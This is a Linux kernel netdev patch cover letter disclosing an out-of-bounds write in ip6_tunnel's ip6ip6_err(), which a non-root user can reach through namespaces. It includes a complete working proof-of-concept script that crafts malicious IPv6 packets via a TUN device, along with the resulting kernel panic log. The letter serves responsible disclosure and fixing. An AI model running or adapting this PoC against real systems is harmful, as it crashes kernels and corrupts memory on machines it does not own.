[PATCH net 0/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
From: Zhiling Zou <hidden>
Date: 2026-08-03 06:12:47
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv6/ip6_tunnel.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the
quoted inner IPv6 packet, and then passes the clone to icmpv6_send().
The cloned skb keeps the outer packet's inet6_skb_parm in skb->cb.
If the outer packet carried a Home Address Option, IP6CB(skb2)->dsthao
remains non-zero after skb_pull(). icmp6_send() later calls
mip6_addr_swap(), which uses that stale dsthao offset against the
quoted inner packet.
The attached PoC makes the quoted inner packet start with an
attacker-controlled fake destination-options header at that stale
offset. ipv6_find_tlv() then returns the final byte of the quoted
packet as a fake HAO match, and mip6_addr_swap() performs a 16-byte
address swap past skb->tail into skb_shared_info.
On our test kernel this corrupts skb_shared_info and triggers a warning
in skb_release_data(), which panics the guest because panic_on_warn is
enabled.
Reproducer:
chmod +x ./poc.sh
./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
if [[ "${POC_INNER:-0}" != "1" ]]; then
exec unshare -Urn env POC_INNER=1 bash "$0"
fi
TUN_IF="tuninj"
TNL_IF="tuntnl"
LOCAL="2001:db8:31::1"
CAREOF="2001:db8:31::2"
HOME="2001:db8:33::9"
INNER_SRC="7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"
INNER_DST="2001:db8:32::200"
FAKE_LEN=168
cleanup() {
ip link del "$TNL_IF" 2>/dev/null || true
ip link del "$TUN_IF" 2>/dev/null || true
}
trap cleanup EXIT
ip tuntap add mode tun "$TUN_IF"
ip link set "$TUN_IF" up
ip -6 addr add "$LOCAL"/64 dev "$TUN_IF"
ip link add "$TNL_IF" type ip6tnl \
local "$LOCAL" \
remote "$CAREOF" \
mode ip6ip6 \
dev "$TUN_IF"
ip link set "$TNL_IF" up
ip xfrm state add \
src "$HOME" \
dst "$LOCAL" \
proto hao \
mode ro \
coa "$CAREOF" \
dir in
ip xfrm policy add \
dir in \
src "$HOME"/128 \
dst "$LOCAL"/128 \
tmpl src "$HOME" dst "$LOCAL" proto hao mode ro
python3 - <<'PY'
import fcntl
import ipaddress
import os
import struct
TUNSETIFF = 0x400454CA
IFF_TUN = 0x0001
IFF_NO_PI = 0x1000
LOCAL = "2001:db8:31::1"
CAREOF = "2001:db8:31::2"
HOME = "2001:db8:33::9"
INNER_SRC = "7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"
INNER_DST = "2001:db8:32::200"
FAKE_LEN = 168
TUN_IF = b"tuninj"
def ipv6_header(src, dst, nexthdr, payload_len, hop_limit=64):
return struct.pack(
"!IHBB16s16s",
6 << 28,
payload_len,
nexthdr,
hop_limit,
ipaddress.IPv6Address(src).packed,
ipaddress.IPv6Address(dst).packed,
)
def checksum(buf):
if len(buf) & 1:
buf += b"\x00"
total = 0
for i in range(0, len(buf), 2):
total += (buf[i] << 8) | buf[i + 1]
total = (total & 0xFFFF) + (total >> 16)
return (~total) & 0xFFFF
fake = bytearray(FAKE_LEN)
fake[0] = 59
fake[1] = (FAKE_LEN // 8) - 1
fake[-1] = 201
inner = ipv6_header(INNER_SRC, INNER_DST, 59, len(fake)) + fake
quoted = ipv6_header(LOCAL, CAREOF, 41, len(inner)) + inner
destopt = bytes([58, 2, 201, 16]) + ipaddress.IPv6Address(HOME).packed + (b"\x00" * 4)
icmp = bytearray(struct.pack("!BBHI", 1, 0, 0, 0) + quoted)
pseudo = (
ipaddress.IPv6Address(HOME).packed
+ ipaddress.IPv6Address(LOCAL).packed
+ struct.pack("!I3xB", len(icmp), 58)
)
icmp[2:4] = struct.pack("!H", checksum(pseudo + icmp))
packet = ipv6_header(CAREOF, LOCAL, 60, len(destopt) + len(icmp)) + destopt + icmp
fd = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack("16sH", TUN_IF, IFF_TUN | IFF_NO_PI)
fcntl.ioctl(fd, TUNSETIFF, ifr)
os.write(fd, packet)
print("sent", len(packet))
os.close(fd)
PY
------END poc.sh--------
----BEGIN crash log----
[ 253.382150][T10576] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 253.383005][T10576] CPU: 1 UID: 1028 PID: 10576 Comm: python3 Not tainted 6.12.95 #2
[ 253.383510][T10576] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 253.384404][T10576] Call Trace:
[ 253.384667][T10576] <TASK>
[ 253.384921][T10576] panic+0x533/0x610
[ 253.385260][T10576] ? __pfx_panic+0x10/0x10
[ 253.385637][T10576] ? skb_release_data+0x404/0x690
[ 253.386034][T10576] check_panic_on_warn+0x61/0x80
[ 253.386471][T10576] __warn+0xdf/0x2e0
[ 253.386767][T10576] ? skb_release_data+0x404/0x690
[ 253.387201][T10576] report_bug+0x308/0x3d0
[ 253.387558][T10576] handle_bug+0x111/0x150
[ 253.388031][T10576] exc_invalid_op+0x17/0x50
[ 253.388428][T10576] asm_exc_invalid_op+0x1a/0x20
[ 253.388773][T10576] RIP: 0010:skb_release_data+0x404/0x690
[ 253.389169][T10576] Code: 28 30 0f 89 77 ff ff ff 48 89 7c 24 18 e8 24 e0 fe ff 48 8b 7c 24 18 84 c0 0f 85 6f ff ff ff 40 f6 c7 01 0f 84 60 ff ff ff 90 <0f> 0b 90 31 ff e9 55 ff ff ff 48 8d 7d 08 48 b8 00 00 00 00 00 fc
[ 253.390526][T10576] RSP: 0018:ffffc900141bf6b8 EFLAGS: 00010202
[ 253.390911][T10576] RAX: 0000000000000000 RBX: ffff888064c5be00 RCX: 0000000000000001
[ 253.391419][T10576] RDX: 0000000000000002 RSI: 1ffff11021c6903e RDI: 6b6b6b6b6b6b6b6b
[ 253.391923][T10576] RBP: ffff88810e3481c0 R08: 0000000000000000 R09: ffffed1021c6903c
[ 253.392423][T10576] R10: ffff88810e3481e3 R11: 0000000000000003 R12: ffff88810e3481f0
[ 253.393012][T10576] R13: ffff888064c5be7e R14: 0000000000000000 R15: dffffc0000000000
[ 253.393628][T10576] ? skb_release_data+0xc4/0x690
[ 253.394013][T10576] sk_skb_reason_drop+0xb0/0x100
[ 253.394333][T10576] icmpv6_rcv+0xa4f/0x1830
[ 253.394674][T10576] ip6_protocol_deliver_rcu+0xcb7/0x1450
[ 253.395115][T10576] ? trace_lock_acquire+0x145/0x1c0
[ 253.395626][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.396064][T10576] ? __pfx_ipv6_rcv+0x10/0x10
[ 253.396452][T10576] ip6_input_finish+0x11b/0x240
[ 253.396759][T10576] ? ip6_input+0x78/0xb0
[ 253.397109][T10576] __netif_receive_skb_one_core+0x11a/0x1b0
[ 253.397564][T10576] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 253.398041][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.398412][T10576] ? lock_acquire+0x2f/0xb0
[ 253.398707][T10576] ? netif_receive_skb+0xcc/0x5a0
[ 253.399044][T10576] netif_receive_skb+0xfb/0x5a0
[ 253.399360][T10576] ? __pfx_netif_receive_skb+0x10/0x10
[ 253.399725][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.400136][T10576] ? __pfx___lock_acquire+0x10/0x10
[ 253.400469][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.400861][T10576] tun_rx_batched+0x3ed/0x7f0
[ 253.401178][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.401536][T10576] ? __pfx_tun_rx_batched+0x10/0x10
[ 253.401879][T10576] ? tun_get_user+0xab0/0x32a0
[ 253.402197][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.402554][T10576] ? lock_acquire+0x2f/0xb0
[ 253.402845][T10576] ? tun_get_user+0xab0/0x32a0
[ 253.403173][T10576] tun_get_user+0x201c/0x32a0
[ 253.403498][T10576] ? __pfx___lock_acquire+0x10/0x10
[ 253.403843][T10576] ? __pfx_tun_get_user+0x10/0x10
[ 253.404178][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.404539][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.404898][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.405279][T10576] ? lb_tx_method_get+0x40/0xf0
[ 253.405621][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.406005][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.406378][T10576] tun_chr_write_iter+0xba/0x1b0
[ 253.406711][T10576] vfs_write+0x604/0xf30
[ 253.406998][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.407465][T10576] ? __tun_chr_ioctl+0xc04/0x3ac0
[ 253.407795][T10576] ? __pfx_vfs_write+0x10/0x10
[ 253.408127][T10576] ? __pfx___tun_chr_ioctl+0x10/0x10
[ 253.408517][T10576] ksys_write+0xfb/0x1d0
[ 253.408791][T10576] ? __pfx_ksys_write+0x10/0x10
[ 253.409114][T10576] ? srso_alias_return_thunk+0x5/0xfbef5
[ 253.409490][T10576] do_syscall_64+0xc7/0x270
[ 253.409836][T10576] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 253.410334][T10576] RIP: 0033:0x7f3925833687
[ 253.410623][T10576] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 253.411839][T10576] RSP: 002b:00007fff69998b20 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
[ 253.412402][T10576] RAX: ffffffffffffffda RBX: 00007f392579f780 RCX: 00007f3925833687
[ 253.412908][T10576] RDX: 0000000000000140 RSI: 00007f392512cd40 RDI: 0000000000000003
[ 253.413427][T10576] RBP: 00007f392579f700 R08: 0000000000000000 R09: 0000000000000000
[ 253.413926][T10576] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f392512cd40
[ 253.414697][T10576] R13: 0000000000000003 R14: 0000000000a83590 R15: 00007f3925adb088
[ 253.415232][T10576] </TASK>
[ 253.415637][T10576] Kernel Offset: disabled
[ 253.415930][T10576] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ip6_tunnel: clear skb2->cb[] in ip6ip6_err()
net/ipv6/ip6_tunnel.c | 3 +++
1 file changed, 3 insertions(+)
--
2.43.0